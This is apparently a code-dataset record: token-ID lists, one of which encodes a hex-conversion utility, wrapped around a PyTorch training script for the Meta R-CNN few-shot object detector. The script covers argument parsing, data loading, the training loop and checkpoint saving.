[ 37811, 198, 39, 1069, 40778, 3103, 9641, 198, 198, 3103, 1851, 257, 18022, 4731, 284, 340, 338, 17910, 10552, 329, 5072, 393, 14552, 25470, 13, 198, 198, 40778, 2514, 39, 1069, 26161, 18022, 4731, 37082, 87, 5777, 59, 87, 15112, 59, 87, 405, 59, 87, 486, 1, 284, 262, 4731, 366, 5777, 18630, 3571, 5534, 1, 198, 39, 1069, 2514, 40778, 26161, 4731, 366, 5777, 18630, 3571, 5534, 1, 284, 262, 18022, 4731, 37082, 87, 5777, 59, 87, 15112, 59, 87, 405, 59, 87, 486, 1, 198, 37811, 198, 198, 2, 10097, 24305, 198, 198, 4299, 30589, 2514, 39, 1069, 7, 18022, 13290, 15179, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 38240, 257, 18022, 4731, 284, 340, 338, 17910, 4731, 10552, 304, 13, 70, 13, 329, 5072, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 36965, 1351, 35915, 543, 318, 257, 13390, 453, 5443, 7822, 621, 198, 220, 220, 220, 1303, 262, 5559, 11, 517, 31744, 11, 7822, 2174, 198, 220, 220, 220, 1303, 220, 220, 220, 198, 220, 220, 220, 1303, 220, 220, 220, 17910, 796, 17635, 198, 220, 220, 220, 1303, 220, 220, 220, 329, 257, 12441, 287, 18022, 13290, 25, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 17910, 13, 33295, 7, 36521, 2999, 55, 366, 4064, 2760, 7, 257, 12441, 1267, 1267, 198, 220, 220, 220, 1303, 198, 220, 220, 220, 1303, 220, 220, 220, 1441, 705, 4458, 22179, 7, 17910, 6739, 36311, 3419, 220, 220, 220, 220, 220, 220, 220, 220, 628, 220, 220, 220, 1441, 705, 4458, 22179, 7, 685, 36521, 2999, 55, 366, 4064, 2760, 7, 2124, 1267, 329, 2124, 287, 18022, 13290, 2361, 6739, 36311, 3419, 198, 198, 2, 10097, 24305, 198, 198, 4299, 22212, 2514, 40778, 7, 17910, 13290, 15179, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 38240, 257, 4731, 17910, 18022, 3815, 656, 257, 18022, 4731, 13, 383, 22212, 30589, 3815, 743, 198, 220, 220, 220, 393, 743, 407, 307, 2272, 11266, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 383, 1351, 35915, 7822, 318, 13390, 453, 13611, 287, 428, 1339, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 198, 220, 220, 220, 1303, 220, 220, 220, 17910, 13290, 796, 705, 4458, 22179, 7, 17910, 13290, 13, 35312, 7203, 366, 8, 1267, 198, 220, 220, 220, 1303, 220, 220, 220, 1441, 705, 4458, 22179, 7, 14631, 4, 66, 1, 4064, 442, 81, 7, 493, 357, 17910, 13290, 58, 72, 25, 72, 10, 17, 4357, 1433, 1267, 1267, 3467, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 15, 11, 18896, 7, 17910, 13290, 10612, 362, 8, 2361, 1267, 198, 220, 198, 220, 220, 220, 9881, 796, 17635, 628, 220, 220, 220, 17910, 13290, 796, 705, 4458, 22179, 7, 17910, 13290, 13, 35312, 7203, 366, 8, 1267, 628, 220, 220, 220, 329, 1312, 287, 2837, 7, 15, 11, 18896, 7, 33095, 13290, 828, 362, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 9881, 13, 33295, 7, 442, 81, 7, 493, 357, 33095, 13290, 58, 72, 25, 72, 10, 17, 4357, 1467, 1267, 1267, 1267, 628, 220, 220, 220, 1441, 705, 4458, 22179, 7, 9881, 1267, 198, 198, 2, 10097, 24305, 198, 198, 2, 1332, 1366, 532, 1180, 17519, 475, 7548, 1366, 198, 834, 33095, 13290, 16, 220, 796, 366, 29312, 5777, 20, 37, 23, 1065, 940, 2154, 34, 2388, 29312, 29312, 20, 37, 23, 18741, 20943, 33, 1, 198, 834, 33095, 13290, 17, 220, 796, 366, 5777, 18402, 18402, 642, 37, 9773, 2310, 8753, 657, 34, 3571, 3571, 18402, 18402, 18402, 18402, 642, 37, 9773, 2808, 5534, 657, 33, 1, 198, 834, 26327, 13290, 796, 37082, 87, 5777, 59, 87, 5777, 59, 87, 5777, 59, 87, 20, 37, 59, 87, 6659, 59, 87, 2481, 59, 87, 2998, 59, 87, 15, 34, 59, 87, 405, 59, 87, 405, 59, 87, 5777, 59, 87, 5777, 59, 87, 5777, 59, 87, 5777, 59, 87, 20, 37, 59, 87, 6659, 59, 87, 1959, 59, 87, 486, 59, 87, 15, 33, 1, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 3601, 37082, 77, 39, 1069, 1675, 30589, 290, 30589, 1675, 22212, 44101, 1, 628, 220, 220, 220, 3601, 366, 14402, 352, 532, 30589, 2514, 39, 1069, 532, 23228, 25, 33172, 30589, 2514, 39, 1069, 7, 11593, 26327, 13290, 1267, 6624, 11593, 33095, 13290, 17, 198, 220, 220, 220, 3601, 366, 14402, 362, 532, 22212, 2514, 40778, 532, 23228, 25, 33172, 22212, 2514, 40778, 7, 11593, 33095, 13290, 16, 1267, 6624, 11593, 26327, 13290, 198, 220, 220, 220, 3601, 366, 14402, 513, 532, 22212, 2514, 40778, 532, 23228, 25, 33172, 22212, 2514, 40778, 7, 11593, 33095, 13290, 17, 1267, 6624, 11593, 26327, 13290, 628, 220, 220, 220, 1303, 1210, 257, 1729, 12, 13200, 11266, 17910, 4731, 656, 257, 2272, 11266, 17910, 4731, 0, 198, 220, 220, 220, 3601, 366, 14402, 604, 532, 32028, 220, 532, 23228, 25, 33172, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 30589, 2514, 39, 1069, 7, 22212, 2514, 40778, 7, 11593, 33095, 13290, 16, 1267, 1267, 6624, 11593, 33095, 13290, 17, 198 ]
2.67893
897
# -------------------------------------------------------- # Pytorch Meta R-CNN # Written by Anny Xu, Xiaopeng Yan, based on the code from Jianwei Yang # -------------------------------------------------------- import _init_paths import os import sys import numpy as np import argparse import pprint import pdb import time import collections import torch import torch.nn as nn import torch.optim as optim import random from tensorboardX import SummaryWriter import torchvision.transforms as transforms from torch.utils.data.sampler import Sampler from torch.autograd import Variable import torch.utils.data as Data from roi_data_layer.roidb import combined_roidb, rank_roidb_ratio, filter_class_roidb from roi_data_layer.roibatchLoader import roibatchLoader from model.utils.config import cfg, cfg_from_file, cfg_from_list, get_output_dir from model.utils.net_utils import weights_normal_init, save_net, load_net, \ adjust_learning_rate, save_checkpoint, clip_gradient from model.faster_rcnn.resnet import resnet import pickle from datasets.metadata import MetaDataset from collections import OrderedDict def parse_args(): """ Parse input arguments """ parser = argparse.ArgumentParser(description='Train Meta R-CNN network') # Define training data and Model parser.add_argument('--dataset', dest='dataset', help='training dataset:coco2017,coco,pascal_07_12', default='pascal_voc_0712', type=str) parser.add_argument('--net', dest='net', help='metarcnn', default='metarcnn', type=str) # Define display and save dir parser.add_argument('--start_epoch', dest='start_epoch', help='starting epoch', default=1, type=int) parser.add_argument('--epochs', dest='max_epochs', help='number of epochs to train', default=21, type=int) parser.add_argument('--disp_interval', dest='disp_interval', help='number of iterations to display', default=100, type=int) parser.add_argument('--checkpoint_interval', dest='checkpoint_interval', help='number of iterations to display', default=10000, type=int) parser.add_argument('--save_dir', dest='save_dir', help='directory to save models', default="./models", type=str) # Define training parameters parser.add_argument('--nw', dest='num_workers', help='number of worker to load data', default=0, type=int) parser.add_argument('--cuda', dest='cuda', default=True, type=bool, help='whether use CUDA') parser.add_argument('--bs', dest='batch_size', help='batch_size', default=1, type=int) parser.add_argument('--cag', dest='class_agnostic', default=False, type=bool, help='whether perform class_agnostic bbox regression') # Define meta parameters parser.add_argument('--meta_train', dest='meta_train', default=False, type=bool, help='whether perform meta training') parser.add_argument('--meta_loss', dest='meta_loss', default=False, type=bool, help='whether perform adding meta loss') parser.add_argument('--transductive', dest='transductive', default=True, type=bool, help='whether perform transductive') parser.add_argument('--visualization', dest='visualization', default=False, type=bool, help='whether perform visualization') parser.add_argument('--phase', dest='phase', help='the phase of training process', default=1, type=int) parser.add_argument('--shots', dest='shots', help='the number meta input of PRN network', default=1, type=int) parser.add_argument('--meta_type', dest='meta_type', default=1, type=int, help='choose which sets of metaclass') # config optimization parser.add_argument('--o', dest='optimizer', help='training optimizer', default="sgd", type=str) parser.add_argument('--lr', dest='lr', help='starting learning rate', default=0.001, type=float) parser.add_argument('--lr_decay_step', dest='lr_decay_step', help='step to do learning rate decay, unit is epoch', default=4, type=int) parser.add_argument('--lr_decay_gamma', dest='lr_decay_gamma', help='learning rate decay ratio', default=0.1, type=float) # set training session parser.add_argument('--s', dest='session', help='training session', default=1, type=int) # resume trained model parser.add_argument('--r', dest='resume', help='resume checkpoint or not', default=False, type=bool) parser.add_argument('--checksession', dest='checksession', help='checksession to load model', default=1, type=int) parser.add_argument('--checkepoch', dest='checkepoch', help='checkepoch to load model', default=10, type=int) parser.add_argument('--checkpoint', dest='checkpoint', help='checkpoint to load model', default=21985, type=int) # log and diaplay parser.add_argument('--use_tfboard', dest='use_tfboard', help='whether use tensorflow tensorboard', default=True, type=bool) parser.add_argument('--log_dir', dest='log_dir', help='directory to save logs', default='logs', type=str) args = parser.parse_args() return args if __name__ == '__main__': args = parse_args() print('Called with args:') print(args) if args.use_tfboard: writer = SummaryWriter(args.log_dir) if args.dataset == "coco2017": args.imdb_name = "coco_2017_train" args.imdbval_name = "coco_2017_val" args.set_cfgs = ['ANCHOR_SCALES', '[2, 4, 8, 16, 32]', 'ANCHOR_RATIOS', '[0.5,1,2]', 'MAX_NUM_GT_BOXES', '50'] elif args.dataset == "coco": args.imdb_name = "coco_2014_train+coco_2014_valminusminival" args.imdbval_name = "coco_2014_minival" args.set_cfgs = ['ANCHOR_SCALES', '[2, 4, 8, 16, 32]', 'ANCHOR_RATIOS', '[0.5,1,2]', 'MAX_NUM_GT_BOXES', '50'] elif args.dataset == "pascal_voc_0712": if args.phase == 1: # three types of base and novel classes splits if args.meta_type == 1: args.imdb_name = "voc_2007_train_first_split+voc_2012_train_first_split" elif args.meta_type == 2: args.imdb_name = "voc_2007_train_second_split+voc_2012_train_second_split" elif args.meta_type == 3: args.imdb_name = "voc_2007_train_third_split+voc_2012_train_third_split" else: args.imdb_name = "voc_2007_shots" # the default sampled shots saved path of meta classes in the first phase args.imdbval_name = "voc_2007_test" args.set_cfgs = ['ANCHOR_SCALES', '[8, 16, 32]', 'ANCHOR_RATIOS', '[0.5,1,2]', 'MAX_NUM_GT_BOXES', '20'] # the number of sets of metaclass cfg.TRAIN.META_TYPE = args.meta_type cfg.USE_GPU_NMS = args.cuda if args.cuda: cfg.CUDA = True args.cfg_file = "cfgs/res101_ms.yml" if args.cfg_file is not None: cfg_from_file(args.cfg_file) if args.set_cfgs is not None: cfg_from_list(args.set_cfgs) print('Using config:') pprint.pprint(cfg) np.random.seed(cfg.RNG_SEED) #torch.manual_seed(cfg.RNG_SEED) # 为CPU设置随机种子 #torch.cuda.manual_seed(cfg.RNG_SEED) # 为当前GPU设置随机种子 if torch.cuda.is_available() and not args.cuda: print("WARNING: You have a CUDA device, so you should probably run with --cuda") if args.phase == 1: # First phase only use the base classes shots = 200 if args.meta_type == 1: # use the first sets of base classes metaclass = cfg.TRAIN.BASECLASSES_FIRST if args.meta_type == 2: # use the second sets of base classes metaclass = cfg.TRAIN.BASECLASSES_SECOND if args.meta_type == 3: # use the third sets of base classes metaclass = cfg.TRAIN.BASECLASSES_THIRD else: # Second phase only use fewshot number of base and novel classes shots = args.shots if args.meta_type == 1: # use the first sets of all classes metaclass = cfg.TRAIN.ALLCLASSES_FIRST if args.meta_type == 2: # use the second sets of all classes metaclass = cfg.TRAIN.ALLCLASSES_SECOND if args.meta_type == 3: # use the third sets of all classes metaclass = cfg.TRAIN.ALLCLASSES_THIRD num_ways = len(metaclass) # prepare meta sets for meta training if args.meta_train: # construct the input dataset of PRN network img_size = 224 if args.phase == 1: img_set = [('2007', 'trainval'), ('2012', 'trainval')] else: img_set = [('2007', 'trainval')] metadataset = MetaDataset('data/VOCdevkit', img_set, metaclass, img_size, shots=shots, shuffle=True,phase = args.phase) # print(metadataset) metaloader = torch.utils.data.DataLoader(metadataset, batch_size=1, shuffle=False, num_workers=0, pin_memory=True) # print(metadataset) imdb, roidb, ratio_list, ratio_index = combined_roidb(args.imdb_name) # filter roidb for the second phase if args.phase == 2: roidb = filter_class_roidb(roidb, args.shots, imdb) ratio_list, ratio_index = rank_roidb_ratio(roidb) imdb.set_roidb(roidb) train_size = len(roidb) print('{:d} roidb entries'.format(len(roidb))) sys.stdout.flush() output_dir = args.save_dir if not os.path.exists(output_dir): os.makedirs(output_dir) sampler_batch = sampler(train_size, args.batch_size) dataset = roibatchLoader(roidb, ratio_list, ratio_index, args.batch_size, imdb.num_classes, training=True) dataloader = torch.utils.data.DataLoader(dataset, batch_size=args.batch_size, sampler=sampler_batch, num_workers=args.num_workers, pin_memory=False) # initilize the network here if args.net == 'metarcnn': fasterRCNN = resnet(imdb.classes, num_ways, 101, pretrained=True, class_agnostic=args.class_agnostic, meta_train=args.meta_train, meta_loss=args.meta_loss, transductive=args.transductive, visualization=args.visualization) fasterRCNN.create_architecture() # initilize the optimizer here lr = cfg.TRAIN.LEARNING_RATE lr = args.lr params = [] for key, value in dict(fasterRCNN.named_parameters()).items(): if value.requires_grad: if 'bias' in key: params += [{'params': [value], 'lr': lr * (cfg.TRAIN.DOUBLE_BIAS + 1), \ 'weight_decay': cfg.TRAIN.BIAS_DECAY and cfg.TRAIN.WEIGHT_DECAY or 0}] else: params += [{'params': [value], 'lr': lr, 'weight_decay': cfg.TRAIN.WEIGHT_DECAY}] if args.optimizer == "adam": lr = lr * 0.1 optimizer = torch.optim.Adam(params) elif args.optimizer == "sgd": optimizer = torch.optim.SGD(params, momentum=cfg.TRAIN.MOMENTUM) if args.cuda: fasterRCNN.cuda() if args.resume: load_name = os.path.join(output_dir, '{}_metarcnn_{}_{}_{}.pth'.format(args.dataset, args.checksession, args.checkepoch, args.checkpoint)) print("loading checkpoint %s" % (load_name)) checkpoint = torch.load(load_name) args.session = checkpoint['session'] args.start_epoch = checkpoint['epoch'] # the number of classes in second phase is different from first phase if args.phase == 2: new_state_dict = OrderedDict() # initilize params of RCNN_cls_score and RCNN_bbox_pred for second phase RCNN_cls_score_n = nn.Linear(2048, imdb.num_classes) RCNN_bbox_pred = nn.Linear(2048, 4 * imdb.num_classes) for k, v in checkpoint['model'].items(): name = k new_state_dict[name] = v if 'RCNN_cls_score_n.weight' in k: new_state_dict[name] = RCNN_cls_score_n.weight if 'RCNN_cls_score_n.bias' in k: new_state_dict[name] = RCNN_cls_score_n.bias if 'RCNN_bbox_pred.weight' in k: new_state_dict[name] = RCNN_bbox_pred.weight if 'RCNN_bbox_pred.bias' in k: new_state_dict[name] = RCNN_bbox_pred.bias fasterRCNN.load_state_dict(new_state_dict) elif args.phase == 1: fasterRCNN.load_state_dict(checkpoint['model']) optimizer.load_state_dict(checkpoint['optimizer']) lr = optimizer.param_groups[0]['lr'] if 'pooling_mode' in checkpoint.keys(): cfg.POOLING_MODE = checkpoint['pooling_mode'] print("loaded checkpoint %s" % (load_name)) iters_per_epoch = int(train_size / args.batch_size) for epoch in range(args.start_epoch, args.max_epochs): fasterRCNN.train() loss_temp = 0 start = time.time() if epoch % (args.lr_decay_step + 1) == 0: adjust_learning_rate(optimizer, args.lr_decay_gamma) lr *= args.lr_decay_gamma data_iter = iter(dataloader) meta_iter = iter(metaloader) for step in range(iters_per_epoch): try: data = next(data_iter) except: data_iter = iter(dataloader) data = next(data_iter) # print(data) im_data_list = [] im_info_list = [] gt_boxes_list = [] num_boxes_list = [] # initilize the tensor holder here. im_data = torch.FloatTensor(1) im_info = torch.FloatTensor(1) num_boxes = torch.LongTensor(1) gt_boxes = torch.FloatTensor(1) # ship to cuda if args.cuda: im_data = im_data.cuda() im_info = im_info.cuda() num_boxes = num_boxes.cuda() gt_boxes = gt_boxes.cuda() # make variable im_data = Variable(im_data) im_info = Variable(im_info) num_boxes = Variable(num_boxes) gt_boxes = Variable(gt_boxes) if args.meta_train: # get prn network input data try: prndata,prncls = next(meta_iter) except: meta_iter = iter(metaloader) prndata, prncls = next(meta_iter) #prn_cls = [] #for i in range(len(prncls)): # prncls_num = prncls[i] # length = prncls_num.size() - 1 # for prncls_num in enumerate(prncls_num.split(length,0)): # prn_cls.append(prncls_num[1]) im_data_list.append(Variable(torch.cat(prndata,dim=0).cuda())) im_info_list.append(prncls) im_data.data.resize_(data[0].size()).copy_(data[0]) im_info.data.resize_(data[1].size()).copy_(data[1]) gt_boxes.data.resize_(data[2].size()).copy_(data[2]) num_boxes.data.resize_(data[3].size()).copy_(data[3]) im_data_list.append(im_data) im_info_list.append(im_info) gt_boxes_list.append(gt_boxes) num_boxes_list.append(num_boxes) # print(im_data_list) # print(im_info_list) else: im_data.data.resize_(data[0].size()).copy_(data[0]) im_info.data.resize_(data[1].size()).copy_(data[1]) gt_boxes.data.resize_(data[2].size()).copy_(data[2]) num_boxes.data.resize_(data[3].size()).copy_(data[3]) im_data_list.append(im_data) im_info_list.append(im_info) gt_boxes_list.append(gt_boxes) num_boxes_list.append(num_boxes) # print(im_data_list) fasterRCNN.zero_grad() rois, rpn_loss_cls, rpn_loss_box, \ RCNN_loss_cls, RCNN_loss_bbox, \ rois_label, cls_prob, bbox_pred, meta_loss, simloss, dis_simloss = fasterRCNN(im_data_list, im_info_list, gt_boxes_list, num_boxes_list) # print(rpn_loss_cls) if args.meta_train: #loss = rpn_loss_cls.mean() + rpn_loss_box.mean() + RCNN_loss_cls.mean() + sum( #RCNN_loss_bbox) / args.batch_size + meta_loss / len(metaclass) + simloss + dis_simloss loss = rpn_loss_cls.mean() + rpn_loss_box.mean() + sum(RCNN_loss_bbox) / args.batch_size + meta_loss / len(metaclass) loss_0 = RCNN_loss_cls.mean() + simloss + dis_simloss else: loss = rpn_loss_cls.mean() + rpn_loss_box.mean() \ + RCNN_loss_cls.mean() + RCNN_loss_bbox.mean() loss_temp += loss.data[0] # backward optimizer.zero_grad() loss.backward(retain_graph=True) loss_0.backward() # if args.net == "vgg16" or "res101": # clip_gradient(fasterRCNN, 10.) optimizer.step() torch.cuda.empty_cache() if step % args.disp_interval == 0: end = time.time() if step > 0: loss_temp /= args.disp_interval # loss_temp is aver loss loss_rpn_cls = rpn_loss_cls.data[0] loss_rpn_box = rpn_loss_box.data[0] if not args.meta_train: loss_rcnn_cls = RCNN_loss_cls.data[0] loss_rcnn_box = RCNN_loss_bbox.data[0] else: loss_rcnn_cls = RCNN_loss_cls.mean() loss_rcnn_box = sum(RCNN_loss_bbox) / args.batch_size loss_metarcnn = meta_loss / len(metaclass) simloss = simloss dis_simloss = dis_simloss fg_cnt = torch.sum(rois_label.data.ne(0)) bg_cnt = rois_label.data.numel() - fg_cnt print("[session %d][epoch %2d][iter %4d] loss: %.4f, lr: %.2e" \ % (args.session, epoch, step, loss_temp, lr)) print("\t\t\tfg/bg=(%d/%d), time cost: %f" % (fg_cnt, bg_cnt, end - start)) if args.meta_train: print("\t\t\trpn_cls: %.4f, rpn_box: %.4f, rcnn_cls: %.4f, rcnn_box %.4f, meta_loss %.4f, simloss: %.4f, dis_simloss %.4f" \ % (loss_rpn_cls, loss_rpn_box, loss_rcnn_cls, loss_rcnn_box, loss_metarcnn, simloss, dis_simloss )) else: print("\t\t\trpn_cls: %.4f, rpn_box: %.4f, rcnn_cls: %.4f, rcnn_box %.4f" \ % (loss_rpn_cls, loss_rpn_box, loss_rcnn_cls, loss_rcnn_box)) sys.stdout.flush() if args.use_tfboard: info = { 'loss': loss_temp, 'loss_rpn_cls': loss_rpn_cls, 'loss_rpn_box': loss_rpn_box, 'loss_rcnn_cls': loss_rcnn_cls, 'loss_rcnn_box': loss_rcnn_box } niter = (epoch - 1) * iters_per_epoch + step for tag, value in info.items(): writer.add_scalar(tag, value, niter) loss_temp = 0 start = time.time() if args.meta_train: save_name = os.path.join(output_dir, '{}_{}_{}_{}_{}.pth'.format(str(args.dataset), str(args.net), shots, epoch, step)) else: save_name = os.path.join(output_dir, '{}_{}_{}_{}.pth'.format(str(args.dataset), str(args.net), epoch, step)) save_checkpoint({ 'session': args.session, 'epoch': epoch + 1, 'model': fasterRCNN.state_dict(), 'optimizer': optimizer.state_dict(), 'pooling_mode': cfg.POOLING_MODE, 'class_agnostic': args.class_agnostic, }, save_name) print('save model: {}'.format(save_name)) end = time.time() print(end - start) if args.meta_train: # to extract the mean classes attentions of shots for testing class_attentions = collections.defaultdict(list) class_attentions_t = collections.defaultdict(list) meta_iter = iter(metaloader) for i in range(shots): prndata, prncls = next(meta_iter) im_data_list = [] im_info_list = [] gt_boxes_list = [] num_boxes_list = [] im_data = torch.FloatTensor(1) if args.cuda: im_data = im_data.cuda() im_data = Variable(im_data, volatile=True) im_data.data.resize_(prndata.squeeze(0).size()).copy_(prndata.squeeze(0)) im_data_list.append(im_data) attentions, attentions_t = fasterRCNN(im_data_list, im_info_list, gt_boxes_list, num_boxes_list, average_shot=True) for idx, cls in enumerate(prncls): class_attentions[int(cls)].append(attentions[idx]) class_attentions_t[int(cls)].append(attentions_t[idx]) # calculate mean attention vectors of every class mean_class_attentions = {k: sum(v) / len(v) for k, v in class_attentions.items()} mean_class_attentions_t = {k: sum(v) / len(v) for k, v in class_attentions_t.items()} save_path = 'attentions' if not os.path.exists(save_path): os.mkdir(save_path) with open(os.path.join(save_path, str(args.phase) + '_shots_' + str(args.shots) + '_mean_class_attentions.pkl'), 'wb') as f: pickle.dump(mean_class_attentions, f, pickle.HIGHEST_PROTOCOL) print('save ' + str(args.shots) + ' mean classes attentions done!') with open(os.path.join(save_path, str(args.phase) + '_shots_' + str(args.shots) + '_mean_class_attentions_t.pkl'), 'wb') as t: pickle.dump(mean_class_attentions_t, t, pickle.HIGHEST_PROTOCOL) print('save ' + str(args.shots) + ' mean classes attentions_t done!')
[ 2, 20368, 22369, 198, 2, 9485, 13165, 354, 30277, 371, 12, 18474, 198, 2, 22503, 416, 1052, 3281, 33591, 11, 22450, 404, 1516, 10642, 11, 1912, 319, 262, 2438, 422, 40922, 42990, 10998, 198, 2, 20368, 22369, 198, 11748, 4808, 15003, 62, 6978, 82, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 1822, 29572, 198, 11748, 279, 4798, 198, 11748, 279, 9945, 198, 11748, 640, 198, 11748, 17268, 198, 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 11748, 28034, 13, 40085, 355, 6436, 198, 11748, 4738, 198, 198, 6738, 11192, 273, 3526, 55, 1330, 21293, 34379, 198, 11748, 28034, 10178, 13, 7645, 23914, 355, 31408, 198, 6738, 28034, 13, 26791, 13, 7890, 13, 37687, 20053, 1330, 3409, 20053, 198, 6738, 28034, 13, 2306, 519, 6335, 1330, 35748, 198, 11748, 28034, 13, 26791, 13, 7890, 355, 6060, 198, 6738, 686, 72, 62, 7890, 62, 29289, 13, 3882, 65, 1330, 5929, 62, 3882, 65, 11, 4279, 62, 3882, 65, 62, 10366, 952, 11, 8106, 62, 4871, 62, 3882, 65, 198, 6738, 686, 72, 62, 7890, 62, 29289, 13, 305, 571, 963, 17401, 1330, 686, 571, 963, 17401, 198, 6738, 2746, 13, 26791, 13, 11250, 1330, 30218, 70, 11, 30218, 70, 62, 6738, 62, 7753, 11, 30218, 70, 62, 6738, 62, 4868, 11, 651, 62, 22915, 62, 15908, 198, 6738, 2746, 13, 26791, 13, 3262, 62, 26791, 1330, 19590, 62, 11265, 62, 15003, 11, 3613, 62, 3262, 11, 3440, 62, 3262, 11, 3467, 198, 220, 220, 220, 4532, 62, 40684, 62, 4873, 11, 3613, 62, 9122, 4122, 11, 10651, 62, 49607, 198, 6738, 2746, 13, 69, 1603, 62, 6015, 20471, 13, 411, 3262, 1330, 581, 3262, 198, 11748, 2298, 293, 198, 6738, 40522, 13, 38993, 1330, 30277, 27354, 292, 316, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 198, 198, 4299, 21136, 62, 22046, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2547, 325, 5128, 7159, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 30751, 796, 1822, 29572, 13, 28100, 1713, 46677, 7, 11213, 11639, 44077, 30277, 371, 12, 18474, 3127, 11537, 198, 220, 220, 220, 1303, 2896, 500, 3047, 1366, 290, 9104, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 19608, 292, 316, 3256, 2244, 11639, 19608, 292, 316, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 34409, 27039, 25, 66, 25634, 5539, 11, 66, 25634, 11, 79, 27747, 62, 2998, 62, 1065, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 11639, 79, 27747, 62, 18893, 62, 2998, 1065, 3256, 2099, 28, 2536, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 3262, 3256, 2244, 11639, 3262, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 4164, 5605, 20471, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 11639, 4164, 5605, 20471, 3256, 2099, 28, 2536, 8, 198, 220, 220, 220, 1303, 2896, 500, 3359, 290, 3613, 26672, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 9688, 62, 538, 5374, 3256, 2244, 11639, 9688, 62, 538, 5374, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 38690, 36835, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 16, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 538, 5374, 82, 3256, 2244, 11639, 9806, 62, 538, 5374, 82, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 17618, 286, 36835, 82, 284, 4512, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 2481, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 6381, 79, 62, 3849, 2100, 3256, 2244, 11639, 6381, 79, 62, 3849, 2100, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 17618, 286, 34820, 284, 3359, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 3064, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 9122, 4122, 62, 3849, 2100, 3256, 2244, 11639, 9122, 4122, 62, 3849, 2100, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 17618, 286, 34820, 284, 3359, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 49388, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 21928, 62, 15908, 3256, 2244, 11639, 21928, 62, 15908, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 34945, 284, 3613, 4981, 3256, 4277, 28, 1911, 14, 27530, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2099, 28, 2536, 8, 198, 220, 220, 220, 1303, 2896, 500, 3047, 10007, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 47516, 3256, 2244, 11639, 22510, 62, 22896, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 17618, 286, 8383, 284, 3440, 1366, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 15, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 66, 15339, 3256, 2244, 11639, 66, 15339, 3256, 4277, 28, 17821, 11, 2099, 28, 30388, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 